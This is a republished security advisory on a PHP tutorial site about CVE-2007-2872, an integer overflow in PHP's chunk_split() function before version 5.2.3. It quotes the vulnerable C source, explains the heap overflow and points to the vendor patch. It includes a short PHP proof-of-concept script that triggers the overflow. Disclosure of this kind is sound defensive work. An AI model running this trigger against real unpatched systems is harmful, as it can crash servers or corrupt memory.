Home Backend Development PHP Tutorial Analysis of integer overflow vulnerability in chunk_split() function under PHP5.2_PHP Tutorial

Analysis of integer overflow vulnerability in chunk_split() function under PHP5.2_PHP Tutorial

Jul 21, 2016 pm 03:55 PM
php split Down function analyze Influence integer overflow loopholes system

Affected systems:
PHP PHP < 5.2.3
Unaffected systems:
PHP PHP 5.2.3
Description:
------------ -------------------------------------------------- ------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP is a popular WEB server-side programming language.

The chunk_split function in PHP has an integer overflow vulnerability when processing malformed parameters. Local attackers may use this vulnerability to escalate their own privileges.

Line 1963 of the chunk_split function in PHP attempts to allocate sufficient memory size for the function result, but uses the srclen and chunklen parameter blocks without performing any checks. If the block and endlen of the value are larger than 65534 bytes, an integer overflow will be triggered and the wrong memory size will be allocated, causing a heap overflow.

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen ;
1971 }

<*Source: Gerhard Wagner

Link: http://marc.info/?l=bugtraq&m=118071054000708&w=2
http:// www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

Test method:
------ -------------------------------------------------- --------------------------

Warning

The following procedures (methods) may be offensive and are only for For security research and teaching purposes. Use at your own risk!

<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

Suggestion:
--------------------- -------------------------------------------------- ----------
Manufacturer patch:

PHP
---
Currently, the manufacturer has released an upgrade patch to fix this security issue. Please go to the manufacturer's homepage to download it. :

http://www.php.net/downloads.php#v5

Article from: NSFOCUS Technology

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/318299.htmlTechArticleAffected systems: PHP PHP 5.2.3 Unaffected systems: PHP PHP 5.2.3 Description: --- -------------------------------------------------- ----------------------------- BUGTRAQ ID: 24261 CVE...
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot Article Tags

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian Dec 24, 2024 pm 04:42 PM

PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian

CakePHP Date and Time CakePHP Date and Time Sep 10, 2024 pm 05:27 PM

CakePHP Date and Time

CakePHP Project Configuration CakePHP Project Configuration Sep 10, 2024 pm 05:25 PM

CakePHP Project Configuration

CakePHP File upload CakePHP File upload Sep 10, 2024 pm 05:27 PM

CakePHP File upload

CakePHP Routing CakePHP Routing Sep 10, 2024 pm 05:25 PM

CakePHP Routing

Discuss CakePHP Discuss CakePHP Sep 10, 2024 pm 05:28 PM

Discuss CakePHP

CakePHP Quick Guide CakePHP Quick Guide Sep 10, 2024 pm 05:27 PM

CakePHP Quick Guide

How To Set Up Visual Studio Code (VS Code) for PHP Development How To Set Up Visual Studio Code (VS Code) for PHP Development Dec 20, 2024 am 11:31 AM

How To Set Up Visual Studio Code (VS Code) for PHP Development

See all articles